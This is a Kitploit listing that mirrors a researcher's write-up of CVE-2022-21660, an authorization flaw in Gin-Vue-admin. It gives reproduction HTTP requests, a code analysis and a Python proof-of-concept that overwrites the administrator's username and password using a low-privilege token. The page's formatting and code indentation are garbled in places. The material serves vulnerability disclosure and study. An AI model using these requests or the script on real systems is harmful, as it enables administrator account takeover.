Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Gin-Vue-admin-poc-CVE-2022-21660 — CVE-2022-21660 | Kitploit
Ferramentas/GitHubGitHub/uzju/gin-vue-admin-poc-cve-2022-21660
Autenticação e AutorizaçãoAnálise de VulnerabilidadesAnálise de CódigoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubuzju/gin-vue-admin-poc-cve-2022-21660

Gin-Vue-admin-poc-CVE-2022-21660

CVE-2022-21660

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
281há 4 anosRevisado pelo Kitploit

Gin-Vue-admin vertical privilege escalation vulnerability and code analysis - CVE-2022-21660

1. Introdução

Bem-vindos, mestres, a dar uma estrela neste projeto.```http https://github.com/flipped-aurora/gin-vue-admin/

root@kitploit:~
![image-20211230151736779](https://assets.kitploit.com/production/public/readmes/21446/71b9c7be5f13561509daa3fc736b2aea1c17b75e10b235f8c2d5f0de659c3c66.png)

Depois de terminar o artigo, solicitar o CVE foi um pouco complicado, mas felizmente conseguimos, e os funcionários do GitHub responderam rapidamente.

> ps: Antes de solicitar o CVE, já havia submetido o CNVD

![image-20220107161655217](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

### 二、Configuração do ambiente

Siga o tutorial oficial```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git

Em seguida, entre no diretório server.```bash go generate

root@kitploit:~
![image-20211230134341075](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```bash
go build -o server main.go 

Em seguida, execute diretamente o servidor

image-20211230134411233

Em seguida, para a WEB, entre no diretório web e digite```bash cnpm install || npm install

root@kitploit:~
Depois, basta aguardar

![image-20211230134632959](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

Após a conclusão da instalação, a página web será aberta automaticamente

![image-20211230135126848](https://assets.kitploit.com/production/public/readmes/21446/e9f559f44a155a8aa121c39f3b218cac78a01fa26b481cf50e8020ea42529668.png)

![image-20211230135135212](https://assets.kitploit.com/production/public/readmes/21446/fdddc36fb55b29816c3e61125054370b2c799450c04d78a02fac4d33f569948c.png)

Em seguida, inicialize e configure as informações do banco de dados

![image-20211230135407388](https://assets.kitploit.com/production/public/readmes/21446/13b356986b6faf82ee4208810f4dbf77ba245dc443e13c054f0cafb665c31f8c.png)

Após configurar, clique em inicializar e faça o login

![image-20211230135437587](https://assets.kitploit.com/production/public/readmes/21446/9864349c21be1c8fa66de709f2e497834cfdf2f3233e286336fa02cdb5834466.png)

### 3. Reprodução da Vulnerabilidade

### SetUserInfo possui escalonamento vertical de privilégios

##### 1. A interface SetUserInfo permite configurar informações pessoais do usuário com privilégios elevados

Vamos diretamente para a página de gerenciamento de usuários e adicionar uma função de usuário com baixos privilégios

![image-20211230143853535](https://assets.kitploit.com/production/public/readmes/21446/acb51bc8ffff26bce3b7cf3956f9b38064871da099e64b3cdb3ab9c531d48da6.png)

Pode-se observar que acima não foram concedidas permissões de administrador. Em seguida, crie uma nova conta e atribua-a a este grupo de funções

![image-20211230144026344](https://assets.kitploit.com/production/public/readmes/21446/c1e54b0502fe8b4dc83799856b01f4da02cc0f48d0e46fea1b577e050f99f3d2.png)

![image-20211230144005936](https://assets.kitploit.com/production/public/readmes/21446/c407678697464a33e6a879a627eea870a563a5ab0fd4e07b8ab357af4c0f75a9.png)

A vulnerabilidade ocorre na linha 273 do arquivo https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go

![image-20211230141604735](https://assets.kitploit.com/production/public/readmes/21446/215bb4a987007cdb0a75e36ff67a217fd864a0aa9c53489f08d004f98ae6ac13.png)```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

Aqui, o ID passado não é verificado. Como o ID representa o usuário, basta passar o ID especificado para modificar as informações pessoais do usuário correspondente.

image-20211230141732113

Primeiro, usamos o X-token do administrador para testar a alteração do nome do usuário com ID 1 para 'test1'. Em seguida, podemos ver no backend que o ID do administrador foi alterado para 'test1'.

image-20211230144216099

A seguir, usamos o token da conta recém-criada UzJu_HxSecTeam para substituir e alterar o nome de usuário do administrador para 'test2'.

Primeiro, na conta UzJu_HxSecTeam, vamos em Informações Pessoais > Alterar Senha, alteramos a senha aleatoriamente e obtemos o token da conta.

image-20211230144321622

Este token é de uma função de baixa permissão. Normalmente, usuários com baixas permissões não podem modificar nenhuma informação do administrador.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

root@kitploit:~
Substituímos o Token, construindo os seguintes dados JSON.```json
{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

Substituímos o Token na interface setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}

root@kitploit:~
Em seguida, somos informados de que a configuração foi bem-sucedida

![image-20211230144654682](https://assets.kitploit.com/production/public/readmes/21446/78fb75b188079d7168b0de84800ee86520c4487ba9005a80a3b40e1bce1e82c9.png)

Em seguida, alternamos para a conta de administrador para verificar se foi alterada para test2

![image-20211230144727266](https://assets.kitploit.com/production/public/readmes/21446/bfbb0ee0323bae425bcf381e3722f362b794f583cc2d84a12bb5334bfc91a7a3.png)

Podemos ver que o usuário administrador foi alterado com sucesso

##### 2、SetUserInfo接口 - Modificação incondicional da senha do administrador por escalada vertical de privilégios

Durante a depuração, descobriu-se que no endpoint setUserInfo, usado para definir informações pessoais com escalada de privilégios, não é possível apenas definir id, username, nickname, headimg, mas também é possível passar parâmetros como password, etc.

![image-20211230222713086](https://assets.kitploit.com/production/public/readmes/21446/e1019ad6b5613329887ed40e9e2f5f1eddaa1fba49cff851dd89f997db74670e.png)

Por exemplo, podemos construir uma requisição para definir o nome de usuário do usuário com ID 1 como admin e o apelido como superusuário administrador

![image-20211230222755083](https://assets.kitploit.com/production/public/readmes/21446/c379c4f7a1039625d62c90a0ace6a475cad615d8ff27bf7c508af0a4e04df48c.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

此时管理员的密码已经被修改为了qwe@123,尝试登陆

image-20211230222853109

随后成功登录

image-20211230222906607

ChangPassword越权修改用户密码

PS: 这里有一个前提,需知道我想修改的那个人用户的密码才可以

首先我们知道默认的admin密码为123456,这个时候我们只需要构造Json数据,将Json数据中的username参数,修改为我们想越权修改的那个用户名即可

首先我们登录低权限的账号,修改一次密码

image-20211230145433929

我们会抓到一个changePassword的请求,随后将这个请求放入Repeater

image-20211230145506647

随后我们只需要将username这个参数修改为admin即可

image-20211230145615220

随后会提示我们修改成功,然后我们使用新的密码来登录admin

image-20211230145704428

随后成功登录

image-20211230145725332

漏洞出现的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go,139行```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }

root@kitploit:~
> Aqui há uma controvérsia: já que sabemos a senha de outra pessoa, por que não fazer login diretamente na conta dela? Sim, é verdade, mas o fluxo lógico do programa aqui é que já autenticamos. Normalmente, o usuário atual só pode modificar sua própria senha, mas aqui é possível modificar senhas de outros alterando o ID. Por outro lado, também poderia ser considerado uma forma de força bruta, já que a página de login possui verificação de captcha.

### 4. Análise do Princípio da Vulnerabilidade

> ps: Todo o conteúdo abaixo vem do entendimento de um script kiddie que nunca estudou Go, nunca trabalhou com desenvolvimento e só sabe Python.

Primeiro, do ponto de vista da lógica normal de negócios, por que ocorre essa escalada de privilégios? O princípio é relativamente simples: principalmente porque, ao criar permissões de função, existem alguns parâmetros obrigatórios. São esses parâmetros que, uma vez selecionados, dão ao usuário a oportunidade de escalar privilégios (mas não é possível desmarcá-los, pois são parâmetros obrigatórios padrão). No final, o problema está na lógica do código.

![image-20211230162340184](https://assets.kitploit.com/production/public/readmes/21446/20a1d4c86c7742b02ade2545ffc1d9daf09da8e36196c53f22e1c4c75cfcdc61.png)

Primeiro, vamos ver, após criar a função, as permissões da função.

![image-20211230162510272](https://assets.kitploit.com/production/public/readmes/21446/f2200104b5e87458273e49a127381deb2caf6d8c18f47cebfec3f51c98ce7392.png)

Podemos ver que, por padrão, as permissões do usuário recém-criado, no menu de funções, têm apenas permissão para acessar o painel, mas ao visualizar as permissões da API da função, descobrimos:

![image-20211230162602998](https://assets.kitploit.com/production/public/readmes/21446/a0ae26ec2f658f8410fabc66becd2404fa38bbb85dca5c907c56bd6cea19a82d.png)

Aqui estão algumas permissões obrigatórias:

+ Registro de usuário
+ Definir informações do usuário
+ Obter próprias informações
+ Modificar senha
+ Modificar função do usuário

Esta é também a origem da vulnerabilidade. Primeiro, a opção 'Definir informações do usuário'. Se desmarcarmos:

![image-20211230162752207](https://assets.kitploit.com/production/public/readmes/21446/e5c25385cc35a0ca2235648dae3cc8d23b15ca179ce73a3c7f477f635526abb6.png)

Em seguida, colocamos o token da conta do grupo de função de baixo privilégio no Burp para testar.

![image-20211230163029027](https://assets.kitploit.com/production/public/readmes/21446/c082b88f880c845caa086ac66400d9969967c2c320572d1245b8c1987f264d6d.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}

Pode-se ver claramente que atualmente não temos permissão para definir estas informações de usuário, e na página de Debug do Go também é muito fácil perceber a lógica do código. Por exemplo, agora não temos permissão para definir as informações do usuário, mas em teoria, no código, quando acessei esta interface, o ponto de interrupção do meu Debug deveria ser capaz de interceptar, mas como mostra a figura abaixo, depois de definir o ponto de interrupção, o programa simplesmente não parou.

image-20211230163258163

A partir disso, podemos concluir que antes desta operação deve haver uma operação de autenticação (comum deve ser RBAC, certo?). Agora vamos definir a permissão de usuário para o grupo de funções de baixa permissão e repetir para ver.

image-20211230163401844

image-20211230163437975

Podemos ver que o programa parou com sucesso aqui, então acho que (sou iniciante em Go) deve ser possível encontrar a autenticação aqui através do Debug :)

Primeiro, no Mac, use a tecla Command + clique esquerdo do mouse para encontrar onde esta função é chamada.

image-20211230172215924

Então podemos ver que há uma função de inicialização de rota de usuário InitUserRouter.

image-20211230172303694

Então continuamos com o mesmo método, Command + clique esquerdo para determinar onde InitUserRoute é chamado.

image-20211230172756447

Aqui note que existe um JWTAuth() e um middleware.CasbinHandler().

Primeiro vamos dar uma olhada no middleware.JWTAuth(), ainda o mesmo método Command + clique esquerdo.

image-20211230173029571

Então chegamos a um jwt.go, podemos dar uma olhada na lógica aqui (claro, agradecemos ao autor por escrever alguns comentários).

image-20211230173337186

Em Go, token:= deve ser equivalente a definir uma variável para receber o x-token do header da requisição. Primeiro, verifica se o token está vazio; se estiver vazio, retorna diretamente que o usuário não está logado ou acesso não autorizado.

image-20211230173515740

Depois, verifica se o token do usuário está na lista negra. Aqui deve ser através de cache ou quando o usuário sai, para determinar se o token já expirou. Se expirou, retorna informando que o usuário fez login em outro local ou o token expirou.

image-20211230173927005

Aqui primeiro é passado para a função ParseToken para analisar o Token, podemos ir lá dar uma olhada.

image-20211230174153376

Não sei o que é jwt.ParseWithClaims... método tradicional, google.com.

image-20211230174335903

https://www.cnblogs.com/taoshihan/p/15239208.html

Aqui é usado para criptografia/descriptografia JWT, depois retorna um SigningKey e continua.

Agradeço à orientação do autor: Aqui, a string jwt token recebida é analisada para obter a estrutura jwt.Token, e então os Claims são extraídos da estrutura para obter as informações do usuário que foram anexadas quando geramos o token anteriormente.

image-20211230180325474

Através do Google, soube que ValidationErrorMalformed é usado para determinar se o token é inválido, e ValidationErrorExpired para verificar se expirou, e ValidationErrorNotValidYet para verificar se o token está ativo, e então retorna. Embora ainda haja um trecho de código abaixo.

image-20211230181012200

Em seguida, verifica se o token expirou. Se não expirou, vai para reload, então chegamos ao middleware.CasbinHandler().

image-20211230181206422

Primeiro entra em utils.GetClaims e passa um parâmetro.

image-20211230181333671

Esta função aqui é usada para obter o x-token e então analisar o token para verificar se expirou, etc.

image-20211230185043326

Em seguida, determina a função do usuário. Aqui 1234 é o ID do grupo de funções que definimos na web.

image-20211230185135662

image-20211230185217506

Depois entra em casbinService.Casbin(), método tradicional, Baidu direto.

image-20211230185413430

É mais ou menos como pensávamos antes, controle de permissão RBAC. Aqui é conectar ao banco de dados, e então dei F7 para entrar passo a passo, mas desisti, não entendi.

image-20211230191210935

Pelo comentário podemos determinar que aqui é usado para verificar permissão.

Tradução automática: Enforce decide se um "subject" pode acessar um "object" com a operação "action", os parâmetros de entrada são geralmente: (sub, obj, act).

Decide se um "sujeito" pode acessar um "objeto" com a operação "ação", os parâmetros de entrada são geralmente: (sub, obj, act).

image-20211230191631807

Então verifica se está em ambiente de desenvolvimento, e success é igual a false. Aqui || significa 'ou': ou é bem-sucedido, ou indica permissão insuficiente.

Vamos ver como funciona a interface setuserinfo com privilégios elevados. Primeiro, colocamos um ponto de interrupção no interceptor.

image-20211230214215348

Dica: Através do Baidu descobri que aqui é usado o framework de controle de acesso casbin do Golang. https://blog.csdn.net/qq_42015552/article/details/104013264

Depois, também colocamos um ponto de interrupção em setuserinfo.

image-20211230214247389

Como o interceptor está antes de setuserinfo na lógica do programa, começamos depurando pelo interceptor.

Depois que o Burp enviou a requisição, ficamos esperando. Agora vamos depurar passo a passo.

image-20211230214329911

Agora nosso grupo de funções é 1234.

image-20211230214503883

Depois é conectar ao banco de dados, e em seguida verificar a permissão.

image-20211230215514485

image-20211230215532447

Aqui retornou true, indicando que a permissão existe. Depois verifica se é ambiente de desenvolvimento ou se success é igual a true. Aqui certamente passará pelo primeiro if.

Em seguida, chegamos à interface setuserinfo.

image-20211230220206889

shouldBindJson vinculou os parâmetros JSON.

image-20211230220707383

Depois aqui, deve ser usado para verificar se os parâmetros JSON recebidos estão corretos.

image-20211230221153338

Abaixo, diretamente substituiu o userid.

image-20220104134548099

Aqui o ID é passado pelo frontend e pode ser modificado arbitrariamente, resultando em escalada de privilégios.

image-20211230221415677

image-20211230221432290

Depois de substituir no banco de dados, atualiza e retorna.

image-20211230221556509

Depois, a atualização é bem-sucedida.

As principais operações de autenticação estão na função CasbinHandler no arquivo cashbin.rbac.go, com casbinService.Casbin() e e.Enforce(sub, obj, act).

Meu entendimento da escalada de privilégios aqui é: se for dada permissão para definir informações do usuário, então, por padrão, esse usuário pode modificar as informações do usuário dentro das regras de permissão. E ao modificar, basta substituir pelo ID de outra pessoa para modificar as informações dela.

Aqui podemos entender: primeiro, a autenticação verifica o AuthorityId para determinar se o usuário tem permissão para operar uma determinada interface.

image-20220104131901466

Mas na setuserinfo, o ID usado é o ID da conta do usuário.

image-20220104132137472

Isso levou à escalada de privilégios, porque esse ID pode ser controlado quando passado pelo frontend, e já passou pela autenticação. Depois de conversar com o autor, ele explicou que a correção é simples: basta forçar a atribuição de user.id ao ID de autoridade correspondente ao JWT, assim não haverá escalada de privilégios, porque não importa como o frontend o passe, no final há uma linha no código que modificará o valor de user.id para o ID correspondente ao JWT atual.

Mas na lógica do processo de negócios, essas permissões são necessárias, porque se não forem dadas, o usuário atual não pode modificar suas próprias informações.

image-20220104135624752

5. Elaboração do POC```python

#!/usr/bin/env python

-- coding: UTF-8 --

''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''

import requests import json import sys

class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"

root@kitploit:~
def checkVuln(self):
    '''
    因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
    在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
    The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
    In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
    '''
    payload_data = {
                        "id": 1,
                        "username": "admin",
                        "nickName": "超级管理员",
                        "Password": "qwe@123"
                    }
    # Change the administrator password to qwe@123, because the default administrator ID is 1
    headers = {
        "x-token": self.jwt_token
    }
    result = requests.put(url=self.url + self.setUserInfo,
                          headers=headers,
                          data=json.dumps(payload_data)
                          )
    if json.loads(result.content)['code'] == 7:
        print("[-]Modify the failure")
    elif json.loads(result.content)['code'] == 0:
        print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

def check_interface_ChangePassword(self):
    '''
    wait
    '''
    pass

if name == 'main': try: Banner_2 = '''

root@kitploit:~
     /$$   /$$              /$$$$$          
    | $$  | $$             |__  $$          
    | $$  | $$ /$$$$$$$$      | $$ /$$   /$$
    | $$  | $$|____ /$$/      | $$| $$  | $$
    | $$  | $$   /$$$$/  /$$  | $$| $$  | $$
    | $$  | $$  /$$__/  | $$  | $$| $$  | $$
    |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/
     \______/ |________/ \______/  \______/                   
         Autor: UzJu   Email: [email protected]  GitHub: github.com/uzju  
    '''
    print(Banner_2)
    url = sys.argv[1]
    jwt_token = sys.argv[2]
    main = GinVueAdminPoc(url, jwt_token)
    main.checkVuln()
except:
    print("[-]please input url and token")
root@kitploit:~
A razão pela qual o método check_interface_ChangePassword não foi escrito é porque aqui é um endpoint de força bruta, pois antes de modificar a senha de qualquer usuário, é necessário conhecer a senha da conta a ser modificada, o que se assemelha a força bruta, então não foi escrito aqui. Depois, o método checkvuln, o id nos dados JSON de payload_data pode ser alterado arbitrariamente, e também pode ser escrito em um loop for para iterar, porque no ambiente real não se sabe se o ID do administrador é 1, ou se houver destruição maliciosa, também pode causar certo impacto.

![image-20211231143107127](https://assets.kitploit.com/production/public/readmes/21446/3b2780b6dee596c6129292183ad4fcacab4167c400c5827adb7925a6185e8edc.png)

### 6. Solicitação de CVE

> O CNVD não precisa ser mencionado, com certeza já foi submetido, aqui estamos solicitando o CVE.
>
> A solicitação de número via GitHub chega muito rápido, basicamente no máximo 3 dias. Aqui, foi submetido no mesmo dia e na madrugada do dia seguinte já recebemos o número de pré-atribuição do CVE.
>
> As operações a seguir exigem que você entre em contato com o autor para ajudá-lo, caso contrário, não terá o botão New Draft security advisory.

![image-20220107164730550](https://assets.kitploit.com/production/public/readmes/21446/133726a3f2309aed6a517e646e4f4b921a3ca2ceeeaa147dfe9a0a8515ef9207.png)

![image-20220107165445797](https://assets.kitploit.com/production/public/readmes/21446/f35ae5f108b77a841a7b3961c94e7f89535885505aadcfdd3011b671a2cf5d1f.png)

![image-20220107165519396](https://assets.kitploit.com/production/public/readmes/21446/4a15d060be13653a267fe20a7c7a119226cab32e5b04852375280ef1b77b5b60.png)

Escreva a descrição do conteúdo da vulnerabilidade, o processo de reprodução, o POC, e clique em create draft security advisory.

**Como foi a primeira vez que solicitamos isso, cometemos um erro: apenas listamos um rascunho e não enviamos a solicitação, o que nos fez esperar 7 dias em vão**

![image-20220107165651894](https://assets.kitploit.com/production/public/readmes/21446/7131fd63bff3675f9f1e90709e4d7b271d261d6b34daa93f2d523a298522a2f8.png)

Depois de escrever, certifique-se de rolar para baixo e clicar em request cve id.

![image-20220107165714011](https://assets.kitploit.com/production/public/readmes/21446/33f99cef9367fb123421c75786e4320f22b85e7c92b829653349ac74fc7ecea5.png)

![image-20220107165744293](https://assets.kitploit.com/production/public/readmes/21446/6c825102428e2d57120514254bf419322d5e40e83787a440a83797ee1a7e97ac.png)

> Artigo de referência: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg

### 7. Agradecimentos

+ Página inicial da equipe do autor: https://github.com/flipped-aurora/
+ GitHub do autor: https://github.com/piexlmax
+ Endereço do projeto Gin-vue-admin: https://github.com/flipped-aurora/gin-vue-admin
Baixar ferramenta